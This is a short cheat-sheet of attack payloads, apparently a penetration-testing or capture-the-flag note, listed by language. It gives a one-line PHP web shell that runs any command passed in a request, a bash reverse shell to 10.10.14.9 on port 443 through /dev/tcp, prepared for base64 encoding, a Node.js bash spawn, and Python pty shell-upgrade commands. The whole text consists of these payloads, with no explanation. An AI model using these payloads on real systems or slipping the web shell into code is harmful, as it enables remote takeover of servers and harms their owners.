nodejs
require("child_process").spawn("/bin/bash", {stdio: [0, 1, 2]})
php
<?php system($_REQUEST['cmd']); ?>
bash
echo 'bash -c "bash -i >& /dev/tcp/10.10.14.9/443 0>&1"' | base64
python
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'